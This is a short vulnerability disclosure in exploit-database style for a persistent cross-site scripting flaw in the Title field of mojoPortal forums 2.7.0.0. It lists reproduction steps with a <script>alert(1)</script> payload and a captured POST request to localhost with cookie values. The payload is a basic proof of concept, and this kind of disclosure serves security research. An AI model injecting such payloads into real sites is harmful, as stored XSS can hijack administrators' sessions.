mojoPortal forums 2.7.0.0 - 'Title' Persistent Cross-Site Scripting

# Exploit Title: mojoPortal forums 2.7.0.0 - 'Title' Persistent Cross-Site Scripting
# Date: 3-12-2020
# Exploit Author: Sagar Banwa
# Vendor Homepage: https://mojoportal.com
# Software Link: https://www.mojoportal.com/download
# Version: 2.7.0.0
# Tested on: Windows 10/Kali Linux

Attack vector:
This vulnerability can results attacker to inject the XSS payload in Add Forum title section and each time admin visits the View Detail of Forum section from admin panel, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: Edit Forum 'Title :'.

Steps-To-Reproduce:
1. Login to the Admin Account 
2. Go to the Forums.
3. click on Add Forum.
4. Add payload to Title: <script>alert(1)</script>
5. Click on Create New Forum.
6. As soon as admin or any visitor visit the forum the XSS payload will triage.


Post Request -
'''

POST /Forums/EditForum.aspx?mid=1275&pageid=756 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/Forums/EditForum.aspx?mid=1275&pageid=756
Content-Type: application/x-www-form-urlencoded
Content-Length: 5037
Origin: https://localhost
Connection: close
Cookie: ASP.NET_SessionId=[removed]; _ga=GA1.2.1772464100.1606932969; _gid=GA1.2.1379348562.1606932969; returnurl25=https://localhost/; .mojochangeme=7ECC859CF4455C5CAE01964464A1029D676213BFF565B38E31D6AE3CF45C212B26FEF4451D2565510EFC1FBEE1A0002322CB05C272CFF74A5F2BDD798286542EA2BC30A889ABDC6D74502865A66DECF250F715A55C510F2DFDBCA1865D3DF436DA579221; localhostportalroles25=3119B16DC158DE7032105189AE61DB79F7043A498D422DABE9485B15E18E299E5C3B1C0696B736560172F2435276EF79EBF5D93A714F285B6EAEB16B648CB2EA4C7AE691B25D00EF4AD168393EFB423ED302A355C340B5D11AA9C7F44BDA6767678C3212BAA3B2991B38D1971836A62C0A1E2EF7AA36FE5DFE1BDAFF077F785F74B360520BA5793271671755790ED2BB9E98199A; fwAdminDrawer=close; _gat=1
Upgrade-Insecure-Requests: 1

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%3A%2F%2Flocalhost%2Fforums

'''